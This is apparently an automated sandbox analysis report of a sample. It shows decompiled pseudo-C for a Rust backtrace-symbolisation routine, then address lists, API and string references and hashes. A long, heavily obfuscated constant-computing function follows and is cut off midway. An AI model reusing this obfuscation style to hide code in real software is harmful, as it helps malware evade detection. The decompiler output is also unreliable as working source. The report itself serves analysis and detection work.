							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t407;
							if(_t407 != 0) {
								L9:
								_t277 = GetCurrentProcess();
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t278 =  *_t407(_t277, _t312, 0, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t278 - 1;
								if(_t278 != 1) {
									L75:
									ReleaseMutex( *(_t418 + 0x2c));
									__eflags =  *((char*)(_t418 + 0x13));
									if( *((char*)(_t418 + 0x13)) != 0) {
										goto L4;
									} else {
										goto L76;
									}
									goto L80;
								} else {
									_t279 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t408 = 0x100;
									 *(_t418 + 0x20) = 0;
									 *(_t418 + 0x14) = _t312;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t346 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t279 - _t346;
									_t347 =  <=  ? _t279 : _t346;
									_t379 = _t418 + 0x1f4 + ( <=  ? _t279 : _t346) * 2;
									 *(_t418 + 0xc) = _t418 + 0x1f4;
									_t281 = 0;
									 *(_t418 + 0x30) = _t379;
									__eflags = 0;
									 *(_t418 + 0x1c) = _t418 + 0xa0;
									 *(_t418 + 0x28) = 0x100;
									if(0 == 0) {
										L13:
										__eflags =  *(_t418 + 0xc) - _t379;
										if( *(_t418 + 0xc) != _t379) {
											_t353 =  *(_t418 + 0xc);
											_t412 =  *_t353 & 0x0000ffff;
											_t354 =  &(_t353[1]);
											__eflags = _t354;
											 *(_t418 + 0xc) = _t354;
											goto L15;
										}
									} else {
										L12:
										_t412 = _t281 >> 0x10;
										L15:
										 *(_t418 + 0x18) = _t281 & 0xffff0000;
										__eflags = (_t412 & 0x0000f800) - 0xd800;
										if((_t412 & 0x0000f800) != 0xd800) {
											_t357 = _t412 & 0x0000ffff;
											_t384 = 0;
										} else {
											_t357 = 0;
											_t384 = 1;
											__eflags = (_t412 & 0x0000ffff) - 0xdbff;
											if((_t412 & 0x0000ffff) <= 0xdbff) {
												_t317 =  *(_t418 + 0xc);
												_t293 =  *(_t418 + 0x30);
												__eflags = _t317 - _t293;
												if(_t317 == _t293) {
													 *(_t418 + 0xc) = _t293;
												} else {
													_t294 =  *_t317 & 0x0000ffff;
													 *(_t418 + 0xc) =  &(_t317[1]);
													__eflags = (_t294 & 0x0000fc00) - 0xdc00;
													if((_t294 & 0x0000fc00) != 0xdc00) {
														_t297 = (_t294 & 0x0000ffff) << 0x00000010 | 0x00000001;
														__eflags = _t297;
														 *(_t418 + 0x18) = _t297;
													} else {
														_t384 = 0;
														_t357 = (_t294 + 0x00002400 & 0x0000ffff | (_t412 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											}
											_t312 =  *(_t418 + 0x14);
										}
										__eflags = _t384 & 0x00000001;
										_t385 = 1;
										_t358 =  !=  ? 0xfffd : _t357;
										_t290 =  *(_t418 + 0x28);
										__eflags = _t358 - 0x80;
										if(_t358 >= 0x80) {
											_t385 = 2;
											__eflags = _t358 - 0x800;
											if(_t358 >= 0x800) {
												__eflags = _t358 - 0x10000;
												_t385 = 4;
												asm("sbb edx, 0x0");
											}
										}
										_t408 = _t290 - _t385;
										__eflags = _t408;
										if(_t408 > 0) {
											 *(_t418 + 0x24) = _t385;
											 *(_t418 + 0x34) = _t408;
											 *(_t418 + 0x11a8) = 0;
											E6EDBDD00(_t312, _t358,  *(_t418 + 0x1c), _t408, _t418, _t421, _t290);
											_t424 = _t424 + 4;
											_t292 =  *(_t418 + 0x24);
											_t408 =  *(_t418 + 0x34);
											_t312 =  *(_t418 + 0x14);
											_t379 =  *(_t418 + 0x30);
											 *(_t418 + 0x20) =  *(_t418 + 0x20) + _t292;
											_t281 =  *(_t418 + 0x18);
											__eflags = _t281;
											 *(_t418 + 0x1c) =  *(_t418 + 0x1c) + _t292;
											 *(_t418 + 0x28) =  *(_t418 + 0x34);
											if(_t281 != 0) {
												goto L12;
											} else {
												goto L13;
											}
										}
									}
									__eflags =  *(_t418 + 0x20) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6EDD6DB0(_t312,  *(_t418 + 0x20), 0x100, _t408, _t418, __eflags, 0x6edfe1dc);
										goto L87;
									} else {
										_t409 =  *0x6ee0adf4; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t409;
										if(_t409 != 0) {
											L59:
											_t283 = GetCurrentProcess();
											_t350 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t381 = _t418 + 0x38;
											_t284 =  *_t409(_t283, _t312, 0, _t381, _t350);
											__eflags = _t284 - 1;
											if(_t284 != 1) {
												_t410 = 0;
												__eflags = 0;
											} else {
												_t284 =  *((intOrPtr*)(_t418 + 0x68));
												_t350 =  *((intOrPtr*)(_t418 + 0x6c));
												_t411 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t381 = _t411;
													_t411 = _t411 + 1;
													__eflags =  *((short*)(_t350 + _t381 * 2));
												} while ( *((short*)(_t350 + _t381 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t410 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0x20);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t410;
											 *((intOrPtr*)(_t418 + 0x48)) = _t284;
											 *(_t418 + 0x4c) = _t410;
											 *((intOrPtr*)(_t418 + 0x50)) = _t350;
											 *(_t418 + 0x54) = _t381;
											E6EDBFA10(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t286 = GetProcAddress( *0x6ee0add0, "SymGetLineFromAddrW64");
											__eflags = _t286;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6EDD6E20(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t409, _t418, __eflags, 0x6edfe2c0);
												goto L87;
											} else {
												_t409 = _t286;
												 *0x6ee0adf4 = _t286;
												goto L59;
											}
										}
									}
								}
							} else {
								_t298 = GetProcAddress( *0x6ee0add0, "SymFromAddrW");
								__eflags = _t298;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6EDD6E20(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t407, _t418, __eflags, 0x6edfe2c0);
									L87:
									asm("ud2");
									asm("o16 nop [eax+eax]");
									_push(_t421);
									return E6EDBE880( *((intOrPtr*)( &_v4528 + 0x2c)));
								} else {
									_t407 = _t298;
									 *0x6ee0adf0 = _t298;
									goto L9;
								}
							}
						}
					} else {
						if( *((char*)(_t418 + 0x13)) == 0) {
							L76:
							__eflags =  *(_t418 + 0x12);
							if( *(_t418 + 0x12) == 0) {
								__eflags =  *((char*)( *((intOrPtr*)(_t418 + 0x7c))));
								if( *((char*)( *((intOrPtr*)(_t418 + 0x7c)))) != 0) {
									 *(_t418 + 0x38) =  *((intOrPtr*)(_t418 + 0x78));
									 *(_t418 + 0x3c) = 0;
									 *(_t418 + 0x1a8) = 4;
									 *(_t418 + 0xa0) = 2;
									 *(_t418 + 0x11a8) = 1;
									_push(0);
									_push(_t418 + 0xa0);
									_push(_t418 + 0x1a0);
									 *( *(_t418 + 0x58)) = E6EDBF250(_t418 + 0x38,  *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x5c)) + 8)));
									_t249 =  *(_t418 + 0x38);
									_t202 = _t249 + 4;
									 *_t202 =  *(_t249 + 4) + 1;
									__eflags =  *_t202;
								}
							}
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) + 1;
							_t243 =  *(_t418 + 0x58);
							__eflags =  *_t243;
							_t208 =  *_t243 == 0;
							__eflags = _t208;
							_t240 = _t243 & 0xffffff00 | _t208;
						} else {
							goto L4;
						}
						goto L80;
					}
				} else {
					L4:
					_t240 = 0;
					L80:
					 *[fs:0x0] =  *((intOrPtr*)(_t418 + 0x11a0));
					return _t240;
				}
			}

0x6edbe890
0x6edbe890
0x6edbe893
0x6edbe894
0x6edbe895
0x6edbe896
0x6edbe89e
0x6edbe8a3
0x6edbe8a5
0x6edbe8ab
0x6edbe8b1
0x6edbe8bb
0x6edbe8d2
0x6edbe8d8
0x6edbe8de
0x6edbe8e1
0x6edbe8e6
0x6edbe8f0
0x6edbe8f3
0x6edbe8f6
0x6edbe8fc
0x6edbe8ff
0x6edbe902
0x6edbe905
0x6edbe909
0x6edbe90d
0x6edbe913
0x6edbe91c
0x6edbe922
0x6edbe92b
0x6edbe931
0x6edbe937
0x6edbe93a
0x6edbe93d
0x6edbe940
0x6edbe94d
0x6edbe960
0x6edbe963
0x6edbe96b
0x6edbe96e
0x6edbec18
0x6edbec1d
0x6edbec20
0x6edbec26
0x6edbec30
0x6edbec3a
0x6edbec3c
0x6edbec5e
0x6edbec5e
0x6edbec66
0x6edbec6c
0x6edbec77
0x6edbec81
0x6edbec8e
0x6edbec99
0x6edbec9f
0x6edbeca6
0x6edbeca8
0x6edbecab
0x00000000
0x6edbecb1
0x6edbecb7
0x6edbecbd
0x6edbecc0
0x6edbecc6
0x6edbeccc
0x6edbecd3
0x6edbecda
0x6edbece1
0x6edbece8
0x6edbecef
0x6edbecf6
0x6edbecfd
0x6edbed04
0x6edbed0b
0x6edbed12
0x6edbed19
0x6edbed20
0x6edbed27
0x6edbed2e
0x6edbed35
0x6edbed3c
0x6edbed43
0x6edbed44
0x6edbed46
0x6edbed50
0x6edbed52
0x6edbed5a
0x6edbed5d
0x6edbed60
0x6edbed80
0x6edbed80
0x6edbed83
0x6edbed89
0x6edbed8b
0x6edbed8b
0x6edbed8e
0x00000000
0x6edbed8e
0x6edbed62
0x6edbed62
0x6edbed70
0x6edbed72
0x6edbed91
0x6edbed9e
0x6edbeda1
0x6edbeda6
0x6edbedc0
0x6edbedc3
0x6edbedc6
0x6edbeda8
0x6edbeda8
0x6edbedad
0x6edbedaf
0x6edbedb5
0x6edbedd0
0x6edbedd3
0x6edbedd5
0x6edbee15
0x00000000
0x6edbedd7
0x6edbedd7
0x6edbeddd
0x6edbede0
0x6edbede9
0x6edbedef
0x6edbee24
0x6edbee27
0x00000000
0x6edbedf1
0x6edbee0b
0x6edbee0d
0x6edbee0d
0x6edbedef
0x6edbedb7
0x6edbedb7
0x6edbee30
0x6edbee30
0x6edbee30
0x6edbedb5
0x6edbee35
0x6edbee38
0x6edbee3f
0x6edbee44
0x6edbee47
0x6edbee4d
0x6edbee4f
0x6edbee54
0x6edbee5a
0x6edbee5c
0x6edbee62
0x6edbee67
0x6edbee67
0x6edbee5a
0x6edbee6c
0x6edbee6c
0x6edbee6e
0x6edbee71
0x6edbee77
0x6edbee7a
0x6edbee85
0x6edbee88
0x6edbee8d
0x6edbee90
0x6edbee96
0x6edbee99
0x6edbee9c
0x6edbee9e
0x6edbeea4
0x6edbeea7
0x6edbeeaa
0x00000000
0x6edbeeb0
0x00000000
0x6edbeeb0
0x6edbeeaa
0x6edbee71
0x6edbef5e
0x6edbef65
0x6edbf15a
0x6edbf16e
0x00000000
0x6edbef6b
0x6edbef6b
0x6edbef71
0x6edbef74
0x6edbef7b
0x6edbef82
0x6edbef86
0x6edbef8d
0x6edbef8f
0x6edbefb1
0x6edbefb1
0x6edbefb6
0x6edbefb9
0x6edbefc0
0x6edbefd2
0x6edbefd4
0x6edbefd7
0x6edbf04e
0x6edbf04e
0x6edbefd9
0x6edbefd9
0x6edbefdc
0x6edbefdf
0x6edbefdf
0x6edbefe1
0x6edbeff0
0x6edbeff0
0x6edbeff2
0x6edbeff3
0x6edbeff3
0x6edbeffa
0x6edbf004
0x6edbf004
0x6edbf056
0x6edbf060
0x6edbf066
0x6edbf06f
0x6edbf072
0x6edbf075
0x6edbf078
0x6edbf07b
0x6edbf07e
0x6edbf08a
0x00000000
0x6edbef91
0x6edbef9c
0x6edbefa2
0x6edbefa4
0x6edbf1e4
0x6edbf1fd
0x00000000
0x6edbefaa
0x6edbefaa
0x6edbefac
0x00000000
0x6edbefac
0x6edbefa4
0x6edbef8f
0x6edbef65
0x6edbec3e
0x6edbec49
0x6edbec4f
0x6edbec51
0x6edbf19e
0x6edbf1b7
0x00000000
0x6edbec57
0x6edbec57
0x6edbec59
0x00000000
0x6edbec59
0x6edbec51
0x6edbe974
0x6edbe974
0x6edbe985
0x6edbe98a
0x6edbe98d
0x6edbe993
0x6edbe99d
0x6edbe9a7
0x6edbe9a9
0x6edbe9cb
0x6edbe9cb
0x6edbe9d6
0x6edbe9e0
0x6edbe9f6
0x6edbe9f8
0x6edbe9fb
0x6edbf08f
0x6edbf093
0x6edbf098
0x6edbf09c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbea01
0x6edbea07
0x6edbea0d
0x6edbea10
0x6edbea15
0x6edbea1c
0x6edbea1f
0x6edbea26
0x6edbea2d
0x6edbea34
0x6edbea3b
0x6edbea42
0x6edbea49
0x6edbea50
0x6edbea57
0x6edbea5e
0x6edbea65
0x6edbea6c
0x6edbea73
0x6edbea7a
0x6edbea81
0x6edbea88
0x6edbea8f
0x6edbea90
0x6edbea92
0x6edbea9b
0x6edbeaa2
0x6edbeaa5
0x6edbeaad
0x6edbeab0
0x6edbeab3
0x6edbeab6
0x6edbeab9
0x6edbead0
0x6edbead0
0x6edbead3
0x6edbead9
0x6edbeadc
0x6edbeadf
0x6edbeadf
0x6edbeae2
0x00000000
0x6edbeae2
0x6edbeac0
0x6edbeac0
0x6edbeac2
0x6edbeae5
0x6edbeaf2
0x6edbeaf5
0x6edbeafb
0x6edbeb60
0x6edbeb63
0x6edbeafd
0x6edbeb00
0x6edbeb02
0x6edbeb07
0x6edbeb0d
0x6edbeb0f
0x6edbeb12
0x6edbeb15
0x6edbeb17
0x6edbeb67
0x6edbeb19
0x6edbeb19
0x6edbeb1f
0x6edbeb2a
0x6edbeb30
0x6edbeb72
0x6edbeb72
0x6edbeb75
0x6edbeb32
0x6edbeb49
0x6edbeb4b
0x6edbeb4b
0x6edbeb30
0x6edbeb17
0x6edbeb80
0x6edbeb80
0x6edbeb83
0x6edbeb8b
0x6edbeb90
0x6edbeb93
0x6edbeb96
0x6edbeb9c
0x6edbeb9e
0x6edbeba3
0x6edbeba9
0x6edbebab
0x6edbebb1
0x6edbebb6
0x6edbebb6
0x6edbeba9
0x6edbebbb
0x6edbebbb
0x6edbebbd
0x6edbebc3
0x6edbebc9
0x6edbebcc
0x6edbebd7
0x6edbebdc
0x6edbebdf
0x6edbebe5
0x6edbebe8
0x6edbebeb
0x6edbebf0
0x6edbebf3
0x6edbebf6
0x6edbebf9
0x6edbebfc
0x6edbebff
0x00000000
0x6edbec05
0x00000000
0x6edbec05
0x6edbebff
0x6edbebbd
0x6edbeeb5
0x6edbeebc
0x6edbf136
0x6edbf14a
0x00000000
0x6edbeec2
0x6edbeec2
0x6edbeec8
0x6edbeecb
0x6edbeed2
0x6edbeed9
0x6edbeedd
0x6edbeee4
0x6edbeee6
0x6edbef08
0x6edbef08
0x6edbef0d
0x6edbef10
0x6edbef17
0x6edbef20
0x6edbef22
0x6edbef25
0x6edbf00b
0x6edbf00b
0x6edbef2b
0x6edbef2b
0x6edbef2e
0x6edbef31
0x6edbef31
0x6edbef33
0x6edbef40
0x6edbef40
0x6edbef42
0x6edbef43
0x6edbef43
0x6edbef4a
0x6edbef54
0x6edbef54
0x6edbf013
0x6edbf01d
0x6edbf023
0x6edbf02c
0x6edbf02f
0x6edbf032
0x6edbf035
0x6edbf038
0x6edbf03b
0x6edbf047
0x00000000
0x6edbeee8
0x6edbeef3
0x6edbeef9
0x6edbeefb
0x6edbf1c1
0x6edbf1da
0x00000000
0x6edbef01
0x6edbef01
0x6edbef03
0x00000000
0x6edbef03
0x6edbeefb
0x6edbeee6
0x6edbeebc
0x6edbe9ab
0x6edbe9b6
0x6edbe9bc
0x6edbe9be
0x6edbf17b
0x6edbf194
0x6edbf205
0x6edbf205
0x6edbf207
0x6edbf210
0x6edbf22c
0x6edbe9c4
0x6edbe9c4
0x6edbe9c6
0x00000000
0x6edbe9c6
0x6edbe9be
0x6edbe9a9
0x6edbe94f
0x6edbe953
0x6edbf0a2
0x6edbf0a2
0x6edbf0a6
0x6edbf0ab
0x6edbf0ae
0x6edbf0b3
0x6edbf0b9
0x6edbf0c3
0x6edbf0cd
0x6edbf0d7
0x6edbf0f3
0x6edbf0f5
0x6edbf0f6
0x6edbf102
0x6edbf104
0x6edbf107
0x6edbf107
0x6edbf107
0x6edbf107
0x6edbf0ae
0x6edbf113
0x6edbf115
0x6edbf118
0x6edbf11b
0x6edbf11b
0x6edbf11b
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbe953
0x6edbe959
0x6edbe959
0x6edbe959
0x6edbf11e
0x6edbf124
0x6edbf132
0x6edbf132

APIs

GetProcAddress.KERNEL32(SymFromAddrW), ref: 6EDBE9B6
GetCurrentProcess.KERNEL32 ref: 6EDBE9CB

Strings

SymGetLineFromAddrW64, xrefs: 6EDBEEE8
SymFromInlineContextW, xrefs: 6EDBEC3E
SymGetLineFromInlineContextW, xrefs: 6EDBEF91
called `Option::unwrap()` on a `None` value, xrefs: 6EDBF185, 6EDBF1A8, 6EDBF1CB, 6EDBF1EE
SymFromAddrW, xrefs: 6EDBE9AB

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCurrentProcProcess
String ID: SymFromAddrW$SymFromInlineContextW$SymGetLineFromAddrW64$SymGetLineFromInlineContextW$called `Option::unwrap()` on a `None` value
API String ID: 3217270580-808744031
Opcode ID: ad9f5292e2f97eb961237876f3b82cb4c80ca5f7ef99939f8bb4a4f310dd063f
Instruction ID: feb5c880fb2ff5184aeca87a676dd68f4359ff06c4a30564df988ed7b96d967c
Opcode Fuzzy Hash: ad9f5292e2f97eb961237876f3b82cb4c80ca5f7ef99939f8bb4a4f310dd063f
Instruction Fuzzy Hash: E94257B0944B448FE725CF69C880BE3B7F5FF88314F10492ED99B87A50E775A4868B91

Uniqueness

Uniqueness Score: -1.00%

Function 00FBA29B, Relevance: 21.8, Strings: 17, Instructions: 560
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00FBA29B(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				void* _t595;
				void* _t630;
				void* _t632;
				void* _t634;
				void* _t638;
				void* _t647;
				intOrPtr _t659;
				intOrPtr _t660;
				signed int _t667;
				signed int _t668;
				signed int _t669;
				signed int _t670;
				signed int _t671;
				signed int _t672;
				signed int _t673;
				signed int _t674;
				void* _t675;
				void* _t691;
				void* _t714;
				intOrPtr _t731;
				void* _t733;
				void* _t736;
				void* _t737;
				void* _t738;
				void* _t743;

				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0x20);
				_push(__ecx);
				E00FA358A(_t595);
				_v20 = 0xf327e8;
				_t738 = _t737 + 0x20;
				asm("stosd");
				_t736 = 0;
				_t660 = 0x1be4ce1;
				asm("stosd");
				_t667 = 0x1c;
				asm("stosd");
				_v128 = 0xb5779c;
				_v128 = _v128 + 0xdde6;
				_v128 = _v128 ^ 0x00b65582;
				_v212 = 0xab8b7;
				_v212 = _v212 << 5;
				_v212 = _v212 + 0x285b;
				_v212 = _v212 ^ 0x01573f3b;
				_v108 = 0xf1b95;
				_v108 = _v108 << 1;
				_v108 = _v108 ^ 0x001e372a;
				_v236 = 0xd3c766;
				_v236 = _v236 ^ 0x4c35dda4;
				_v236 = _v236 ^ 0xf4ac62e6;
				_v236 = _v236 + 0xac1a;
				_v236 = _v236 ^ 0xb84b243e;
				_v264 = 0x4c8acc;
				_v264 = _v264 | 0x6b972bec;
				_v264 = _v264 * 0x11;
				_v264 = _v264 | 0x4439188c;
				_v264 = _v264 ^ 0x6dfb7aac;
				_v272 = 0x7452f1;
				_v272 = _v272 | 0xadfdffff;
				_v272 = _v272 << 4;
				_v272 = _v272 ^ 0xdfdffff0;
				_v256 = 0xc9874e;
				_v256 = _v256 ^ 0xb0d5c9db;
				_v256 = _v256 ^ 0x60dd3951;
				_v256 = _v256 / _t667;
				_v256 = _v256 ^ 0x07749fb4;
				_v196 = 0x14df4d;
				_v196 = _v196 >> 0xf;
				_v196 = _v196 * 0x62;
				_v196 = _v196 ^ 0x00000fb2;
				_v124 = 0x1fc85;
				_v124 = _v124 + 0xffff9683;
				_v124 = _v124 ^ 0x00019308;
				_v148 = 0xf728c3;
				_v148 = _v148 ^ 0x410bb6ca;
				_v148 = _v148 << 8;
				_v148 = _v148 ^ 0xfc9e0900;
				_v80 = 0xcdef16;
				_v80 = _v80 * 0x69;
				_v80 = _v80 ^ 0x54771006;
				_v64 = 0xcfcda1;
				_v64 = _v64 ^ 0x1349c91b;
				_v64 = _v64 ^ 0x138604ba;
				_v284 = 0x1cf0f9;
				_v284 = _v284 ^ 0x257fade6;
				_v284 = _v284 | 0x51678028;
				_t668 = 0x61;
				_v284 = _v284 / _t668;
				_v284 = _v284 ^ 0x013e0a7b;
				_v84 = 0xee9046;
				_v84 = _v84 + 0xb1b5;
				_v84 = _v84 ^ 0x00eb8e5c;
				_v260 = 0x4d980b;
				_v260 = _v260 << 0xa;
				_v260 = _v260 >> 1;
				_v260 = _v260 | 0xa6abb1dd;
				_v260 = _v260 ^ 0xbfb20ec1;
				_v48 = 0x20a9bf;
				_v48 = _v48 | 0x0eca1706;
				_v48 = _v48 ^ 0x0ee5895d;
				_v224 = 0x8ed0c5;
				_v224 = _v224 + 0xffff1116;
				_v224 = _v224 + 0xe7c9;
				_v224 = _v224 ^ 0x0086e7c0;
				_v184 = 0x1f6a81;
				_v184 = _v184 + 0xffffdf2c;
				_v184 = _v184 | 0xaf0f166a;
				_v184 = _v184 ^ 0xaf1d3044;
				_v244 = 0xe53cb3;
				_v244 = _v244 >> 1;
				_v244 = _v244 + 0xffff7d9e;
				_v244 = _v244 | 0xc5e9b062;
				_v244 = _v244 ^ 0xc5f7f4ed;
				_v220 = 0x94efff;
				_v220 = _v220 + 0xfffff1fc;
				_v220 = _v220 >> 8;
				_v220 = _v220 ^ 0x000e7487;
				_v132 = 0xfeceee;
				_v132 = _v132 << 0x10;
				_v132 = _v132 ^ 0xcee5fb97;
				_v252 = 0x7f7476;
				_v252 = _v252 + 0xffffb7fa;
				_v252 = _v252 + 0xffffd497;
				_t669 = 0x3b;
				_v252 = _v252 / _t669;
				_v252 = _v252 ^ 0x000bee5d;
				_v228 = 0x86e191;
				_v228 = _v228 ^ 0x47ba048e;
				_t670 = 0x46;
				_v228 = _v228 * 0x61;
				_v228 = _v228 ^ 0xfe16436a;
				_v276 = 0x9f0763;
				_v276 = _v276 * 0x61;
				_v276 = _v276 >> 2;
				_v276 = _v276 >> 1;
				_v276 = _v276 ^ 0x078e7242;
				_v204 = 0x7ace55;
				_v204 = _v204 | 0x549f47c2;
				_v204 = _v204 + 0x3ce1;
				_v204 = _v204 ^ 0x55057257;
				_v112 = 0x668a76;
				_v112 = _v112 ^ 0xa303abbe;
				_v112 = _v112 ^ 0xa369580c;
				_v304 = 0xea9dc2;
				_v304 = _v304 | 0x61facf16;
				_v304 = _v304 >> 9;
				_v304 = _v304 << 9;
				_v304 = _v304 ^ 0x61fdd091;
				_v312 = 0x8bf4e;
				_v312 = _v312 + 0x76f7;
				_v312 = _v312 / _t670;
				_v312 = _v312 >> 4;
				_v312 = _v312 ^ 0x0009727a;
				_v120 = 0x784345;
				_v120 = _v120 << 0xe;
				_v120 = _v120 ^ 0x10d533d6;
				_v144 = 0xc8ca07;
				_v144 = _v144 << 0xd;
				_v144 = _v144 ^ 0x194ee9c4;
				_v68 = 0x367751;
				_v68 = _v68 << 0x10;
				_v68 = _v68 ^ 0x775c05ef;
				_v208 = 0xe91d48;
				_t671 = 0x7b;
				_v208 = _v208 / _t671;
				_v208 = _v208 ^ 0xbf924638;
				_v208 = _v208 ^ 0xbf9514f1;
				_v300 = 0xb4f1a1;
				_v300 = _v300 + 0xed19;
				_v300 = _v300 + 0xcea7;
				_v300 = _v300 + 0xffffe1f1;
				_v300 = _v300 ^ 0x00bf2b0f;
				_v100 = 0xb064ad;
				_v100 = _v100 + 0x9df9;
				_v100 = _v100 ^ 0x00b08fdc;
				_v168 = 0xbb40c5;
				_v168 = _v168 ^ 0xb00c62cf;
				_v168 = _v168 | 0xf2e647c5;
				_v168 = _v168 ^ 0xf2fdbde9;
				_v52 = 0x295953;
				_t273 =  &_v52; // 0x295953
				_t672 = 0x30;
				_v52 =  *_t273 * 7;
				_v52 = _v52 ^ 0x0126faa9;
				_v200 = 0x2413c;
				_v200 = _v200 + 0x8dfd;
				_v200 = _v200 ^ 0x3e6fa0dc;
				_v200 = _v200 ^ 0x3e61213f;
				_v268 = 0xbf579f;
				_v268 = _v268 | 0x94a3124e;
				_v268 = _v268 + 0x5b36;
				_v268 = _v268 ^ 0x910745d1;
				_v268 = _v268 ^ 0x05bc7083;
				_v152 = 0x55d14e;
				_v152 = _v152 + 0x80df;
				_v152 = _v152 >> 0xa;
				_v152 = _v152 ^ 0x00052a90;
				_v92 = 0x1560b9;
				_v92 = _v92 / _t672;
				_v92 = _v92 ^ 0x0005217c;
				_v60 = 0xbebd72;
				_t673 = 0x39;
				_v60 = _v60 * 0x71;
				_v60 = _v60 ^ 0x543d4f6d;
				_v192 = 0x306d18;
				_v192 = _v192 >> 1;
				_v192 = _v192 | 0xe6a9074b;
				_v192 = _v192 ^ 0xe6befa7f;
				_v96 = 0x3b01c7;
				_v96 = _v96 / _t673;
				_v96 = _v96 ^ 0x000f61bf;
				_v104 = 0x4d95b3;
				_v104 = _v104 + 0xabeb;
				_v104 = _v104 ^ 0x0046ffda;
				_v296 = 0x26e6f2;
				_v296 = _v296 + 0xc249;
				_v296 = _v296 * 0x61;
				_v296 = _v296 ^ 0x81098a9a;
				_v296 = _v296 ^ 0x8e08e7bd;
				_v188 = 0xd71c43;
				_v188 = _v188 << 0x10;
				_v188 = _v188 ^ 0x4cd6b411;
				_v188 = _v188 ^ 0x509ea514;
				_v88 = 0x9df4f3;
				_v88 = _v88 ^ 0xfb4fb186;
				_v88 = _v88 ^ 0xfbd91614;
				_v172 = 0x58d00f;
				_v172 = _v172 | 0xc5f9e837;
				_v172 = _v172 ^ 0x5c8ab005;
				_v172 = _v172 ^ 0x997bd2d4;
				_v180 = 0xaa9a47;
				_v180 = _v180 << 9;
				_v180 = _v180 << 0xe;
				_v180 = _v180 ^ 0x238e5e5d;
				_v280 = 0x8d05db;
				_v280 = _v280 << 0xb;
				_v280 = _v280 + 0x5af;
				_v280 = _v280 + 0x63a8;
